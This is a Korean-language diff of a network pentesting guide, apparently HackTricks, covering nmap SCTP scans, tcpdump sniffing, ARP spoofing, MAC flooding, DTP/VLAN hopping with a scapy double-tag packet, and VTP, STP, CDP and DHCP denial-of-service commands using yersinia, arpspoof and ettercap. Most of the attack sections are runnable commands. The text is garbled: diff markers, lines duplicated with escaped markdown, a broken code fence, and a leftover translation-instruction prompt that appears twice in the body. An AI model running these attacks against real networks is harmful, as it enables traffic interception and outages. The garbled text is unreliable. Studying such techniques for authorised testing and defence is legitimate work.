\*\*SCTP (Stream Control Transmission Protocol)\*\*은 \*\*TCP (Transmission Control Protocol)\*\*와 \*\*UDP (User Datagram Protocol)\*\*와 함께 사용되도록 설계되었습니다. 주요 목적은 IP 네트워크 상에서 전화 데이터의 전송을 용이하게 하는 것으로, \*\*Signaling System 7 (SS7)\*\*에서 발견되는 신뢰성 기능을 많이 반영합니다. **SCTP**는 SS7 신호를 IP 네트워크 상에서 전송하기 위한 목적으로 설계된 **SIGTRAN** 프로토콜 패밀리의 핵심 구성 요소입니다.
|
||||
|
||||
**SCTP**는 **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, **VxWorks**와 같은 다양한 운영 체제에서 지원되므로, 통신 및 네트워킹 분야에서의 광범위한 수용과 유용성을 나타냅니다.
|
||||
|
||||
nmap에서는 SCTP에 대해 두 가지 다른 스캔 옵션을 제공합니다: _-sY_와 _-sZ_
|
||||
nmap에서는 SCTP에 대해 두 가지 다른 스캔 옵션을 제공합니다: \_-sY\_와 _-sZ_
|
||||
|
||||
```bash
|
||||
# Nmap fast SCTP scan
|
||||
nmap -T4 -sY -n -oA SCTFastScan <IP>
|
||||
# Nmap all SCTP scan
|
||||
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
||||
```
|
||||
|
||||
### IDS 및 IPS 회피
|
||||
|
||||
{% content-ref url="ids-evasion.md" %}
|
||||
|
@ -198,6 +220,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
|||
### 내부 IP 주소 공개
|
||||
|
||||
**구성이 잘못된 라우터, 방화벽 및 네트워크 장치**는 때때로 **비공개 소스 주소**를 사용하여 네트워크 프로브에 응답합니다. **tcpdump**를 사용하여 테스트 중에 개인 주소에서 수신된 패킷을 식별할 수 있습니다. 특히 Kali Linux에서는 공개 인터넷에서 액세스할 수 있는 **eth2 인터페이스**에서 패킷을 캡처할 수 있습니다. 설정이 NAT 또는 방화벽 뒤에 있는 경우 이러한 패킷은 필터링될 수 있음을 유의해야 합니다.
|
||||
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
|
@ -205,6 +228,7 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
|
|||
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
|
||||
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
|
||||
## 스니핑
|
||||
|
||||
스니핑을 통해 캡처된 프레임과 패킷을 검토함으로써 IP 범위, 서브넷 크기, MAC 주소 및 호스트 이름에 대한 세부 정보를 알 수 있습니다. 네트워크가 잘못 구성되었거나 스위칭 패브릭이 과부하 상태인 경우, 공격자는 수동 네트워크 스니핑을 통해 민감한 자료를 캡처할 수 있습니다.
|
||||
|
@ -212,16 +236,20 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
|||
스위칭된 이더넷 네트워크가 올바르게 구성된 경우, 브로드캐스트 프레임과 자신의 MAC 주소로 전송되는 자료만 볼 수 있습니다.
|
||||
|
||||
### TCPDump
|
||||
|
||||
```bash
|
||||
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
|
||||
또한, Wireshark를 GUI로 사용하여 SSH 세션을 통해 원격 컴퓨터에서 실시간으로 패킷을 캡처할 수 있습니다.
|
||||
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
```
|
||||
|
||||
### Bettercap
|
||||
|
||||
Bettercap은 네트워크 펜테스팅 도구로, 중간자 공격 및 네트워크 스니핑과 같은 다양한 기능을 제공합니다. 이 도구를 사용하면 네트워크 트래픽을 감시하고 조작할 수 있으며, 사용자 인증 정보를 획득하거나 세션을 탈취할 수 있습니다. Bettercap은 ARP 스푸핑, DNS 스푸핑, SSL 스트립 등과 같은 공격 기법을 사용하여 네트워크 보안 취약점을 식별하고 악용할 수 있습니다.
|
||||
|
@ -239,14 +267,15 @@ Bettercap은 다양한 운영 체제에서 사용할 수 있으며, 설치 및
|
|||
|
||||
Bettercap은 다음과 같은 주요 기능을 제공합니다:
|
||||
|
||||
- 중간자 공격: ARP 스푸핑, DNS 스푸핑 등을 사용하여 네트워크 트래픽을 중간에서 가로채고 조작할 수 있습니다.
|
||||
- 네트워크 스니핑: 네트워크 트래픽을 감시하고 패킷을 분석할 수 있습니다.
|
||||
- SSL 스트립: HTTPS 통신에서 암호화를 제거하여 사용자 인증 정보를 획득할 수 있습니다.
|
||||
- 세션 탈취: 사용자의 세션을 탈취하여 권한 상승 등의 공격을 수행할 수 있습니다.
|
||||
* 중간자 공격: ARP 스푸핑, DNS 스푸핑 등을 사용하여 네트워크 트래픽을 중간에서 가로채고 조작할 수 있습니다.
|
||||
* 네트워크 스니핑: 네트워크 트래픽을 감시하고 패킷을 분석할 수 있습니다.
|
||||
* SSL 스트립: HTTPS 통신에서 암호화를 제거하여 사용자 인증 정보를 획득할 수 있습니다.
|
||||
* 세션 탈취: 사용자의 세션을 탈취하여 권한 상승 등의 공격을 수행할 수 있습니다.
|
||||
|
||||
#### 주의사항
|
||||
|
||||
Bettercap은 합법적인 목적으로 사용되어야 하며, 불법적인 활동에 사용해서는 안 됩니다. Bettercap을 사용할 때에는 관련 법률과 규정을 준수해야 합니다.
|
||||
|
||||
```bash
|
||||
net.sniff on
|
||||
net.sniff stats
|
||||
|
@ -255,6 +284,7 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot
|
|||
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
|
||||
set net.sniff.regexp #If set only packets matching this regex will be considered
|
||||
```
|
||||
|
||||
### Wireshark
|
||||
|
||||
당연하게도.
|
||||
|
@ -270,6 +300,7 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
|
|||
ARP 스푸핑은 우리의 장치의 MAC 주소를 가진 기계의 IP를 나타내기 위해 무료 ARP 응답을 보내는 것입니다. 그런 다음 피해자는 ARP 테이블을 변경하고 IP 스푸핑을 연락하려고 할 때마다 우리의 기계에 연락할 것입니다.
|
||||
|
||||
#### **Bettercap**
|
||||
|
||||
```bash
|
||||
arp.spoof on
|
||||
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
|
||||
|
@ -277,6 +308,7 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing
|
|||
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
|
||||
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
|
||||
```
|
||||
|
||||
#### **Arpspoof**
|
||||
|
||||
Arpspoof는 네트워크 내에서 ARP 프로토콜을 이용하여 중간자 공격을 수행하는 도구입니다. 이 도구를 사용하면 공격자는 네트워크 상의 다른 호스트들에게 자신이 다른 호스트의 IP 주소에 해당하는 MAC 주소를 가지고 있다고 속일 수 있습니다. 이를 통해 공격자는 네트워크 트래픽을 가로채고 조작할 수 있습니다.
|
||||
|
@ -290,30 +322,35 @@ Arpspoof를 사용하여 중간자 공격을 수행하기 위해서는 몇 가
|
|||
중간자 공격을 수행하는 동안, 공격자는 네트워크 트래픽을 가로채고 조작할 수 있습니다. 예를 들어, 공격자는 패킷 스니핑을 통해 사용자의 개인 정보를 탈취하거나, 세션 하이재킹을 통해 사용자의 인증 정보를 도용할 수 있습니다. 이러한 공격은 네트워크 보안 취약점을 확인하고 보완하기 위해 사용될 수 있습니다.
|
||||
|
||||
중간자 공격은 네트워크 보안에 대한 이해와 적절한 권한을 가진 사람들에 의해 사용되어야 합니다. 불법적인 목적으로 이 도구를 사용하는 것은 법적인 문제를 일으킬 수 있으며, 다른 사람들의 개인 정보를 침해할 수 있습니다. 따라서, 이 도구를 사용할 때는 항상 법적인 규정을 준수하고, 합법적인 목적으로 사용해야 합니다.
|
||||
|
||||
```bash
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
arpspoof -t 192.168.1.1 192.168.1.2
|
||||
arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
|
||||
### MAC Flooding - CAM 오버플로우
|
||||
|
||||
다른 소스 MAC 주소를 가진 많은 패킷을 보내 스위치의 CAM 테이블을 오버플로우시킵니다. CAM 테이블이 가득 차면 스위치는 허브처럼 동작하여 모든 트래픽을 브로드캐스팅합니다.
|
||||
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
|
||||
현대 스위치에서는 이 취약점이 수정되었습니다.
|
||||
|
||||
### 802.1Q VLAN / DTP 공격
|
||||
|
||||
#### 동적 트렁크
|
||||
|
||||
**동적 트렁크 프로토콜(DTP)**은 트렁크를 자동으로 선택할 수 있는 링크 계층 프로토콜로 설계되었습니다. 이를 통해 스위치는 자동으로 트렁크 모드(Trunk) 또는 비트렁크 모드를 위한 포트를 선택할 수 있습니다. **DTP**의 배포는 종종 최적화되지 않은 네트워크 디자인을 나타내는 것으로 간주되며, 필요한 경우에만 트렁크를 수동으로 구성하고 적절한 문서화를 보장하는 것이 중요합니다.
|
||||
\*\*동적 트렁크 프로토콜(DTP)\*\*은 트렁크를 자동으로 선택할 수 있는 링크 계층 프로토콜로 설계되었습니다. 이를 통해 스위치는 자동으로 트렁크 모드(Trunk) 또는 비트렁크 모드를 위한 포트를 선택할 수 있습니다. **DTP**의 배포는 종종 최적화되지 않은 네트워크 디자인을 나타내는 것으로 간주되며, 필요한 경우에만 트렁크를 수동으로 구성하고 적절한 문서화를 보장하는 것이 중요합니다.
|
||||
|
||||
기본적으로 스위치 포트는 동적 자동 모드로 설정되어 있으며, 이는 인접한 스위치에 의해 트렁크 모드로 설정되는 경우 트렁크를 초기화할 준비가 되어 있다는 의미입니다. 펜테스터나 공격자가 스위치에 연결하고 DTP Desirable 프레임을 보내면, 포트가 트렁크 모드로 전환됩니다. 이 작업을 통해 공격자는 STP 프레임 분석을 통해 VLAN을 열거하고 가상 인터페이스를 설정하여 VLAN 분할을 우회할 수 있습니다.
|
||||
|
||||
많은 스위치에서 기본적으로 DTP가 존재하기 때문에, 이를 악용하여 공격자는 스위치의 동작을 모방하여 모든 VLAN을 통해 트래픽에 접근할 수 있습니다. [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 스크립트는 인터페이스를 모니터링하여 스위치가 기본, 트렁크, 동적, 자동 또는 액세스 모드 중 어느 모드인지 확인하는 데 사용됩니다. 후자는 VLAN 호핑 공격에 면역인 유일한 구성입니다. 이 도구는 스위치의 취약성 상태를 평가합니다.
|
||||
|
||||
네트워크 취약성이 확인된 경우, _**Yersinia**_ 도구를 사용하여 DTP 프로토콜을 통해 "트렁킹을 활성화"시킬 수 있으며, 이를 통해 모든 VLAN의 패킷을 관찰할 수 있습니다.
|
||||
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||||
|
@ -324,15 +361,18 @@ yersinia -I #Interactive mode
|
|||
|
||||
yersinia -G #For graphic mode
|
||||
```
|
||||
|
||||
![](<../../.gitbook/assets/image (646) (1).png>)
|
||||
|
||||
VLAN을 열거하기 위해서는 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 스크립트를 사용하여 DTP Desirable 프레임을 생성할 수도 있습니다.** 어떤 상황에서도 스크립트를 중단하지 마십시오. 이는 3초마다 DTP Desirable을 주입합니다. **스위치에서 동적으로 생성된 트렁크 채널은 5분 동안만 유지됩니다. 5분이 지나면 트렁크가 해제됩니다.**
|
||||
VLAN을 열거하기 위해서는 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)\*\* 스크립트를 사용하여 DTP Desirable 프레임을 생성할 수도 있습니다.\*\* 어떤 상황에서도 스크립트를 중단하지 마십시오. 이는 3초마다 DTP Desirable을 주입합니다. **스위치에서 동적으로 생성된 트렁크 채널은 5분 동안만 유지됩니다. 5분이 지나면 트렁크가 해제됩니다.**
|
||||
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
다음은 해킹 기법에 관한 해킹 책의 내용입니다. 다음 내용은 파일 /hive/hacktricks/generic-methodologies-and-resources/pentesting-network/README.md에서 가져온 것입니다. 관련된 영어 텍스트를 한국어로 번역하고, 정확히 동일한 마크다운 및 HTML 구문을 유지한 채 번역을 반환하세요. 코드, 해킹 기법 이름, 해킹 관련 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp...)과 같은 단어, 'leak'이라는 단어, pentesting, 마크다운 태그와 같은 것들은 번역하지 마세요. 또한 번역과 마크다운 구문 이외의 추가적인 내용은 추가하지 마세요.
|
||||
|
||||
**Access/Desirable (0x03)**은 DTP 프레임이 원하는 유형인 Desirable 유형임을 나타내며, 이는 포트가 Trunk 모드로 전환되도록 지시합니다. 그리고 **802.1Q/802.1Q (0xa5**)은 **802.1Q** 캡슐화 유형을 나타냅니다.
|
||||
다음은 해킹 기법에 관한 해킹 책의 내용입니다. 다음 내용은 파일 /hive/hacktricks/generic-methodologies-and-resources/pentesting-network/README.md에서 가져온 것입니다. 관련된 영어 텍스트를 한국어로 번역하고, 정확히 동일한 마크다운 및 HTML 구문을 유지한 채 번역을 반환하세요. 코드, 해킹 기법 이름, 해킹 관련 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp...)과 같은 단어, 'leak'이라는 단어, pentesting, 마크다운 태그와 같은 것들은 번역하지 마세요. 또한 번역과 마크다운 구문 이외의 추가적인 내용은 추가하지 마세요.
|
||||
|
||||
\*\*Access/Desirable (0x03)\*\*은 DTP 프레임이 원하는 유형인 Desirable 유형임을 나타내며, 이는 포트가 Trunk 모드로 전환되도록 지시합니다. 그리고 **802.1Q/802.1Q (0xa5**)은 **802.1Q** 캡슐화 유형을 나타냅니다.
|
||||
|
||||
STP 프레임을 분석함으로써, **VLAN 30과 VLAN 60의 존재를 알 수 있습니다.**
|
||||
|
||||
|
@ -341,7 +381,8 @@ STP 프레임을 분석함으로써, **VLAN 30과 VLAN 60의 존재를 알 수
|
|||
#### 특정 VLAN 공격
|
||||
|
||||
VLAN ID와 IP 값이 알려진 경우, **특정 VLAN을 공격하기 위해 가상 인터페이스를 구성**할 수 있습니다.\
|
||||
DHCP가 사용 불가능한 경우, _ifconfig_를 사용하여 정적 IP 주소를 설정하세요.
|
||||
DHCP가 사용 불가능한 경우, \_ifconfig\_를 사용하여 정적 IP 주소를 설정하세요.
|
||||
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
root@kali:~# vconfig add eth1 250
|
||||
|
@ -374,6 +415,7 @@ sudo vconfig add eth0 30
|
|||
sudo ip link set eth0.30 up
|
||||
sudo dhclient -v eth0.30
|
||||
```
|
||||
|
||||
#### 자동 VLAN Hopper
|
||||
|
||||
**동적 트렁크 및 가상 인터페이스 생성 및 다른 VLAN 내의 호스트 탐색**에 대한 논의된 공격은 [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) 도구를 통해 **자동으로 수행**됩니다.
|
||||
|
@ -387,12 +429,14 @@ sudo dhclient -v eth0.30
|
|||
![](<../../.gitbook/assets/image (635) (1).png>)
|
||||
|
||||
이 공격을 수행하기 위해 scapy를 사용할 수 있습니다: `pip install scapy`
|
||||
|
||||
```python
|
||||
from scapy.all import *
|
||||
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
|
||||
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
|
||||
sendp(packet)
|
||||
```
|
||||
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
만약 **직접 연결된 스위치에 액세스할 수 있다면**, 네트워크 내에서 **VLAN 분할을 우회**할 수 있습니다. 간단히 포트를 트렁크 모드로 전환하고 대상 VLAN의 가상 인터페이스를 생성한 다음 IP 주소를 구성하면 됩니다. 주소를 동적으로 요청할 수도 있고 정적으로 구성할 수도 있습니다. 상황에 따라 다릅니다.
|
||||
|
@ -408,6 +452,7 @@ sendp(packet)
|
|||
이 공격은 목적 클라이언트의 IP 주소를 가진 패킷을 생성하되 라우터의 MAC 주소를 사용하여 실행됩니다. 이로 인해 라우터는 패킷을 잘못된 대상 클라이언트로 전달하게 됩니다. 이 접근 방식은 Double Tagging Attacks에서 사용되는 방식과 유사하며, 피해자에게 접근 가능한 호스트를 제어하여 보안 결함을 악용하는 데 사용됩니다.
|
||||
|
||||
**공격의 주요 단계:**
|
||||
|
||||
1. **패킷 생성:** 목적 클라이언트의 IP 주소를 가진 패킷을 특별히 생성합니다. 이때 라우터의 MAC 주소를 사용합니다.
|
||||
2. **라우터 동작 악용:** 생성된 패킷이 라우터로 전송되며, 설정에 따라 라우터는 패킷을 대상 클라이언트로 리디렉션하여 개인 VLAN 설정이 제공하는 격리를 우회합니다.
|
||||
|
||||
|
@ -417,24 +462,25 @@ VTP (VLAN Trunking Protocol)는 VLAN 관리를 중앙화합니다. VLAN 데이
|
|||
|
||||
#### VTP 도메인 역할
|
||||
|
||||
- **VTP 서버:** VLAN을 관리합니다. VLAN을 생성, 삭제, 수정합니다. 도메인 멤버에게 VTP 알림을 브로드캐스트합니다.
|
||||
- **VTP 클라이언트:** VTP 알림을 받아 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 수정이 제한됩니다.
|
||||
- **VTP 투명:** VTP 업데이트에 참여하지 않지만 VTP 알림을 전달합니다. VTP 공격에 영향을 받지 않으며, 리비전 번호는 항상 0으로 유지됩니다.
|
||||
* **VTP 서버:** VLAN을 관리합니다. VLAN을 생성, 삭제, 수정합니다. 도메인 멤버에게 VTP 알림을 브로드캐스트합니다.
|
||||
* **VTP 클라이언트:** VTP 알림을 받아 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 수정이 제한됩니다.
|
||||
* **VTP 투명:** VTP 업데이트에 참여하지 않지만 VTP 알림을 전달합니다. VTP 공격에 영향을 받지 않으며, 리비전 번호는 항상 0으로 유지됩니다.
|
||||
|
||||
#### VTP 광고 유형
|
||||
|
||||
- **요약 광고:** VTP 서버가 300초마다 브로드캐스트하는 도메인 정보를 전달합니다.
|
||||
- **하위 집합 광고:** VLAN 구성 변경 후 전송됩니다.
|
||||
- **광고 요청:** VTP 클라이언트가 요약 광고를 요청하기 위해 발행하는 것으로, 일반적으로 더 높은 구성 리비전 번호를 감지한 경우에 응답합니다.
|
||||
* **요약 광고:** VTP 서버가 300초마다 브로드캐스트하는 도메인 정보를 전달합니다.
|
||||
* **하위 집합 광고:** VLAN 구성 변경 후 전송됩니다.
|
||||
* **광고 요청:** VTP 클라이언트가 요약 광고를 요청하기 위해 발행하는 것으로, 일반적으로 더 높은 구성 리비전 번호를 감지한 경우에 응답합니다.
|
||||
|
||||
VTP 취약점은 VTP 알림이 트렁크 포트를 통해만 순환되기 때문에 트렁크 포트를 통해서만 악용할 수 있습니다. DTP 이후의 공격 시나리오는 VTP로 전환될 수 있습니다. Yersinia와 같은 도구는 VTP 공격을 용이하게 할 수 있으며, 이를 통해 VLAN 데이터베이스를 삭제하여 네트워크를 효과적으로 중단시킬 수 있습니다.
|
||||
|
||||
참고: 이 토론은 VTP 버전 1 (VTPv1)에 해당합니다.
|
||||
```bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
```
|
||||
Yersinia의 그래픽 모드에서 VLAN 데이터베이스를 정리하기 위해 모든 VTP VLAN 옵션을 선택하십시오.
|
||||
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
|
||||
Yersinia의 그래픽 모드에서 VLAN 데이터베이스를 정리하기 위해 모든 VTP VLAN 옵션을 선택하십시오.
|
||||
|
||||
### STP 공격
|
||||
|
||||
|
@ -443,54 +489,66 @@ Yersinia의 그래픽 모드에서 VLAN 데이터베이스를 정리하기 위
|
|||
#### **STP BPDU DoS**
|
||||
|
||||
많은 양의 BPDUs TCP (Topology Change Notification) 또는 Conf (토폴로지가 생성될 때 전송되는 BPDUs)를 보내면 스위치가 과부하되어 올바르게 작동하지 않게 됩니다.
|
||||
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
#Use -M to disable MAC spoofing
|
||||
```
|
||||
|
||||
#### **STP TCP 공격**
|
||||
|
||||
TCP가 전송되면 스위치의 CAM 테이블은 15초 후에 삭제됩니다. 그런 다음 이러한 종류의 패킷을 계속해서 보내면 CAM 테이블이 계속 재시작됩니다 (또는 매 15초마다) 그리고 재시작되면 스위치는 허브처럼 동작합니다.
|
||||
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
|
||||
#### **STP 루트 공격**
|
||||
|
||||
공격자는 스위치의 동작을 모방하여 네트워크의 STP 루트가 되도록 합니다. 그런 다음, 더 많은 데이터가 그를 통과하게 됩니다. 이는 두 개의 다른 스위치에 연결된 경우 흥미로울 수 있습니다.\
|
||||
이는 BPDUs CONF 패킷을 보내어 **우선 순위** 값이 실제 루트 스위치의 실제 우선 순위보다 작다고 말하는 것으로 수행됩니다.
|
||||
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
```
|
||||
|
||||
**만약 공격자가 2개의 스위치에 연결되어 있다면, 그는 새로운 트리의 루트가 되어 그 사이의 모든 트래픽이 그를 통과하게 됩니다** (MITM 공격이 수행될 것입니다).
|
||||
|
||||
```bash
|
||||
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
|
||||
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
|
||||
```
|
||||
|
||||
### CDP 공격
|
||||
|
||||
CISCO Discovery Protocol (CDP)는 CISCO 장치 간의 통신을 위해 필수적이며, **각각을 식별하고 구성 세부 정보를 공유**할 수 있게 합니다.
|
||||
|
||||
#### 수동 데이터 수집 <a href="#0e0f" id="0e0f"></a>
|
||||
#### 수동 데이터 수집 <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDP는 모든 포트를 통해 정보를 브로드캐스트하도록 구성되어 있어 보안 위험을 초래할 수 있습니다. 공격자는 스위치 포트에 연결한 후 **Wireshark**, **tcpdump**, 또는 **Yersinia**와 같은 네트워크 스니퍼를 배치할 수 있습니다. 이 작업은 네트워크 장치에 대한 민감한 데이터를 노출시킬 수 있으며, 해당 장치의 모델 및 Cisco IOS 버전을 포함합니다. 공격자는 식별된 Cisco IOS 버전의 특정 취약점을 대상으로 할 수 있습니다.
|
||||
|
||||
#### CDP 테이블 플러딩 유도 <a href="#0d6a" id="0d6a"></a>
|
||||
#### CDP 테이블 플러딩 유도 <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
더 공격적인 접근 방식은 스위치의 메모리를 압도하여 서비스 거부 (DoS) 공격을 발동하는 것으로, 합법적인 CISCO 장치인 척합니다. 아래는 테스트를 위해 설계된 네트워크 도구인 Yersinia를 사용하여 이러한 공격을 시작하는 명령 시퀀스입니다:
|
||||
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
이 공격 중에는 스위치의 CPU와 CDP 이웃 테이블이 과도한 리소스 소비로 인해 **"네트워크 마비"**라고 불리는 상황이 발생합니다.
|
||||
|
||||
이 공격 중에는 스위치의 CPU와 CDP 이웃 테이블이 과도한 리소스 소비로 인해 \*\*"네트워크 마비"\*\*라고 불리는 상황이 발생합니다.
|
||||
|
||||
#### CDP 위장 공격
|
||||
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
|
||||
[**scapy**](https://github.com/secdev/scapy/)을 사용할 수도 있습니다. `scapy/contrib` 패키지와 함께 설치해야 합니다.
|
||||
|
||||
### VoIP 공격과 VoIP Hopper 도구
|
||||
|
@ -507,19 +565,21 @@ IoT 장치와 점점 통합되는 VoIP 전화기는 특정 전화번호를 통
|
|||
|
||||
속도를 위해 선호되는 모드는 세 번째 모드입니다. 다음을 지정해야 합니다:
|
||||
|
||||
- 공격자의 네트워크 인터페이스 (`-i` 매개변수).
|
||||
- 에뮬레이션할 VoIP 장치의 이름 (`-E` 매개변수), Cisco 네이밍 형식을 따라야 합니다 (예: MAC 주소 뒤에 SEP).
|
||||
* 공격자의 네트워크 인터페이스 (`-i` 매개변수).
|
||||
* 에뮬레이션할 VoIP 장치의 이름 (`-E` 매개변수), Cisco 네이밍 형식을 따라야 합니다 (예: MAC 주소 뒤에 SEP).
|
||||
|
||||
기업 환경에서 기존의 VoIP 장치를 모방하기 위해 다음을 수행할 수 있습니다:
|
||||
|
||||
- 전화기의 MAC 레이블을 확인합니다.
|
||||
- 전화기의 디스플레이 설정을 탐색하여 모델 정보를 확인합니다.
|
||||
- VoIP 장치를 노트북에 연결하고 Wireshark를 사용하여 CDP 요청을 관찰합니다.
|
||||
* 전화기의 MAC 레이블을 확인합니다.
|
||||
* 전화기의 디스플레이 설정을 탐색하여 모델 정보를 확인합니다.
|
||||
* VoIP 장치를 노트북에 연결하고 Wireshark를 사용하여 CDP 요청을 관찰합니다.
|
||||
|
||||
세 번째 모드에서 도구를 실행하기 위한 예시 명령은 다음과 같습니다:
|
||||
|
||||
```bash
|
||||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||||
```
|
||||
|
||||
DHCP 공격
|
||||
|
||||
#### 열거
|
||||
|
@ -532,11 +592,12 @@ DHCP 공격을 수행하기 전에, 공격자는 대상 네트워크에서 DHCP
|
|||
|
||||
다음은 DHCP 서버를 열거하기 위해 사용할 수 있는 몇 가지 기법입니다:
|
||||
|
||||
- DHCP Discover 패킷 전송: 공격자는 네트워크에서 DHCP Discover 패킷을 전송하여 DHCP 서버의 응답을 확인할 수 있습니다.
|
||||
- ARP 스캔: 공격자는 ARP 스캔을 통해 네트워크에서 DHCP 서버의 MAC 주소를 확인할 수 있습니다.
|
||||
- DHCP Starvation 공격: 공격자는 대량의 DHCP 요청을 생성하여 DHCP 서버의 IP 주소를 고갈시키고, 다른 클라이언트가 IP 주소를 할당받지 못하도록 할 수 있습니다.
|
||||
* DHCP Discover 패킷 전송: 공격자는 네트워크에서 DHCP Discover 패킷을 전송하여 DHCP 서버의 응답을 확인할 수 있습니다.
|
||||
* ARP 스캔: 공격자는 ARP 스캔을 통해 네트워크에서 DHCP 서버의 MAC 주소를 확인할 수 있습니다.
|
||||
* DHCP Starvation 공격: 공격자는 대량의 DHCP 요청을 생성하여 DHCP 서버의 IP 주소를 고갈시키고, 다른 클라이언트가 IP 주소를 할당받지 못하도록 할 수 있습니다.
|
||||
|
||||
이러한 열거 기법을 사용하여 DHCP 서버를 찾은 후, 공격자는 다양한 DHCP 공격 기법을 사용하여 공격을 수행할 수 있습니다.
|
||||
|
||||
```bash
|
||||
nmap --script broadcast-dhcp-discover
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
|
||||
|
@ -554,16 +615,19 @@ Pre-scan script results:
|
|||
|_ Domain Name: mynet
|
||||
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
|
||||
**DoS**
|
||||
|
||||
DHCP 서버에 대해 수행할 수 있는 **두 가지 유형의 DoS**가 있습니다. 첫 번째 유형은 **모든 가능한 IP 주소를 사용하기 위해 충분한 가짜 호스트를 시뮬레이션하는 것**입니다.\
|
||||
이 공격은 DHCP 서버의 응답을 볼 수 있고 프로토콜을 완료할 수 있는 경우에만 작동합니다 (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). 예를 들어, 이는 **Wifi 네트워크에서는 불가능**합니다.
|
||||
|
||||
DHCP DoS를 수행하는 또 다른 방법은 모든 가능한 IP를 소스 코드로 사용하여 **DHCP-RELEASE 패킷을 보내는 것**입니다. 그러면 서버는 모든 사람이 IP를 사용을 마쳤다고 생각할 것입니다.
|
||||
|
||||
```bash
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
|
||||
더 자동화된 방법은 [DHCPing](https://github.com/kamorin/DHCPig) 도구를 사용하는 것입니다.
|
||||
|
||||
언급된 DoS 공격을 사용하여 클라이언트가 환경 내에서 새로운 임대를 얻도록 하고, 합법적인 서버를 고갈시켜 응답하지 않게 할 수 있습니다. 따라서 합법적인 서버가 다시 연결을 시도할 때, **다음 공격에서 언급된 악성 값들을 제공할 수 있습니다**.
|
||||
|
